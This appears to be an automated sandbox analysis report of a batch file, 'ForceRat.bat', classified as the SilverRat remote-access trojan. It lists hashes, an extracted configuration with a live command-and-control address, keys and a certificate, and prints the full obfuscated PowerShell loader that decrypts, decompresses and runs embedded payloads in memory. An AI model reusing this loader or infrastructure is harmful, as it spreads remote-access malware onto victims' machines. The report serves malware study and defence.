Overview

overview

10

Static

static

1

ForceRat.bat

windows7-x64

6

ForceRat.bat

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/03/2025, 22:15

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General

  • Target

    ForceRat.bat

  • Size

    62KB

  • MD5

    9ff22475afa34e18ac87c1ecf2d2453d

  • SHA1

    2ccceed810073dddf873c03507c0d83d1054889c

  • SHA256

    34dbb840c1e4fcda91badbe0f86af62a27ec6f36feb0c804e14494d9b2d20c83

  • SHA512

    43d7c2539ec8a4219fd13351a39b3a2b2fc4755203cb7fd90698d5b10fc7cc86a5adee890c0a1ae295ec0b524eac9dbfcc9c4a1193e9229dec10069414e13ddf

  • SSDEEP

    1536:OMctvfYIoxAwbvnzCRsU/inHUXgXnB5k16:OMctv2rzCm0in0wXnzA6

Score
10/10
silverratexecutiontrojan

Malware Config

Extracted

Family

silverrat

Version

1.0.0.0

C2

if-eventually.gl.at.ply.gg:17094

Mutex

Mutex_DthEiIseBZ

Attributes
  • certificate

    MIIE4DCCAsigAwIBAgIQAKQYOfZd86J2BfNjhG4CWTANBgkqhkiG9w0BAQ0FADARMQ8wDQYDVQQDDAZTaWx2ZXIwIBcNMjIwODI2MTkwMTA4WhgPOTk5OTEyMzEyMzU5NTlaMBExDzANBgNVBAMMBlNpbHZlcjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAPbpOWfhZTuOfEaqqImTTe5dNHAAry7/mf00DCoI4lPZfypsc1tYraxSPFeayGu09a3qdhkWKSVIgwnu2n4GLQNOCY9fh/1oyrX4Iir3BIkYeU7pKTWgjhUlAmFAUAaNr0ca23Ku2kN79jrDzRznOgE2DEW4p7OiM4Mb097ma9lzu7MyssHbY4VCteAhj9HZiplqBxaC1vXDmzxqG+gUZ1aLcyG7ssdkOjtWVBgT3gD/gOl7KchRzCFB1egDC/vD9WZCG35U3Ngi+IkTznoXR1R06cq4v0UnGjE37R2vcB21qb0ZYNiZJXZHv5i9+R7xoPeNoLda5PqnfGGbhPvNEdD56mdcOKlzGIuyemLkUo8texdpiBWKbtc3JZf5VsKxjJtHDK3xW6gDGI+PAirzGkFPmwcf8WgsblvzLg8OZpVxVs8rmKWoi6qIrf4CXnyl73J4lgzW+ir7PjANAQXwLNGdNnvdMeLeo/muGQPdeNpr6OczGGnkWA4qniHeL51/Gx0a8A+jP9zKiyu+qHcsP2IotgWDH/KlzJVr7IAum+DV92uV8poTDcUNcHaKvhHA65KmEtsvLbK6lFZcAMC0eWC0VgpW44T1/16rOaaky5mP6rTMc3nSyOl/lU/XgAgGGQPe22bRLWYzd3WVeEpI1WnHYXS+tL9IOe4kJP+pYsWDAgMBAAGjMjAwMB0GA1UdDgQWBBR32TJj2LeUx9L+RcSOvmFV6VJq6TAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4ICAQA+qucSOi7ov7Q1FmAjMf925KuvKuCNwJiu3Sqo3FDGVAD1fAwAi2FdyuXEO2VIUPZCkalFcBna5rqyrc6tcS4T0IL2TsYLrsuGir7PWP7CAcft1urYS1HpNpHxeH/nixwnQaQs/MuRmdm2TeCj6G21P5BTW55U5y9sMPSYwhbD2N7XLgnSQd5Y+80TR7FUiye/k3D37fI9PRhSQGbfYFRQQTmxj84dPTnY5CVgaY9d8fNiFZkyjaZdf+mibK0xQTf+xLVVj+toDNCkc1F462TdmFhCrHd4PoMo0yLDNv4SC6NLRq4haWDRtORw6gd5GYIoCQ3m3oQvNlNxXhhIjsOyxkxOrkCD0c+57PIc7EmKXieJa/XxnkcIVxO8dvTY/vijuz/VaZYl/lPu9ckuqgJ1wRvvsHl70Trv4Mn4X5uCIqRFFlK/mSOZbLIguGkDN3QIZABvej89vlZMhrVfZOG2oawe23FskHjv7thF/WzOXtWw6RUVC1V+hCwbuxFNUjZmmOTUwdXHnus7I2AuiG6Jz1+y9aYiXBcVTdSljxjHRRmiRaAnY94h58vN8NJ4hKL2GVCo6LxkpuplmcntJN0cKraKTPxSXcCRrqWxX9qoIbfvBcUU4vH1jPJCCLNCuDyD3lgQkpPVvq0EMU1a2HFGgMEQMjpYpb38rcadDhT5ag==

  • decrypted_key

    -|S.S.S|-

  • key

    yy6zDjAUmbB09pKvo5Hhug==

  • key_x509

    QnZ2VW1rTFlUa09ESXhCRkdHYURSSlBBdk5SQk5J

  • reconnect_delay

    0

  • server_signature

    RMCh38rJRIwRMYf2Sbpd9BzSePeTpscme+fLNDX9Bf6O5IR+EWvJS971m1lprJ/vpdLYQPZIImuX69267sqtVY2b3yH1lw7e7EZaXIHsGFR2uyeUjLQeAjD47DWaaKkGg8wKKEQ7AX8lBa1tYmqDorMfwQ9K2xlGjrxnS9ZotbBaz/KmFDUSwnUEWc6K5tKdqXQ5scv4Iejt9hGqjIxCo1c3AyRwr1eezKhGK66t4Y1aPVfqkIwuI23vWEPPjJYRDn5dWq5EykrPUBvH+OORD9xrQmM63F/gLb5d5/LlrOqSfkd5/yTv8YROpQfzMAYH5k10o6P4I+oBlGpJ9MwzL5Y4JBHSJyiG/m9XuEYKxe1zgffuIhU/xo30i0YC/hkKd5U8BP5k6PdZg9OLI+a8k7sa4/Sk/9Zkjx27VuOZdZs8IMP9t8mumexIqz2fvkwSO79gNHehbK8Y1feAFrlzCMoxK06XKuMRCyGOPse3sNm57TPHUBbk5yhteOGujQ9402QViU3tL9ZQR4rN71H4CBlNHaHbc0PO4+WhgxaAkr3W2/OOCyoaGrX1Kv18VFwwqB9Gqj0wG0MsA+femZUx/+SY41jQ715JwPCrD4aNkKu7xrjYnii+JjVsgNqaLVOhWv1VjL3qkCJ9kf0c7ob8qNOXaePlpZmHsWg/fgChnAk=

Signatures

  • SilverRat

    SilverRat is trojan written in C#.

    trojansilverrat
  • Silverrat family
    silverrat
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ForceRat.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2324
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BBJjIPrkiMu54o7S2Kkh7ta7aoxNtRDfeHTVupEQamI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7i8nyfo4dAw7TNNjSmXtJA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $dCOmI=New-Object System.IO.MemoryStream(,$param_var); $zHMRK=New-Object System.IO.MemoryStream; $kYWHz=New-Object System.IO.Compression.GZipStream($dCOmI, [IO.Compression.CompressionMode]::Decompress); $kYWHz.CopyTo($zHMRK); $kYWHz.Dispose(); $dCOmI.Dispose(); $zHMRK.Dispose(); $zHMRK.ToArray();}function execute_function($param_var,$param2_var){ $qDyOg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $DFcjP=$qDyOg.EntryPoint; $DFcjP.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\ForceRat.bat';$pidIT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\ForceRat.bat').Split([Environment]::NewLine);foreach ($gGJcA in $pidIT) { if ($gGJcA.StartsWith(':: ')) { $qdpSs=$gGJcA.Substring(3); break; }}$payloads_var=[string[]]$qdpSs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2904

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lbjxemtj.rdp.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/2904-0-0x00007FFFC04B3000-0x00007FFFC04B5000-memory.dmp

    Filesize

    8KB

    Download

  • memory/2904-8-0x00000285A4350000-0x00000285A4372000-memory.dmp

    Filesize

    136KB

    Download

  • memory/2904-11-0x00007FFFC04B0000-0x00007FFFC0F71000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2904-12-0x00007FFFC04B0000-0x00007FFFC0F71000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2904-13-0x00000285A43A0000-0x00000285A43A8000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2904-14-0x00000285A43B0000-0x00000285A43BE000-memory.dmp

    Filesize

    56KB

    Download

  • memory/2904-15-0x00000285A43C0000-0x00000285A43D0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2904-18-0x00007FFFC04B0000-0x00007FFFC0F71000-memory.dmp

    Filesize

    10.8MB

    Download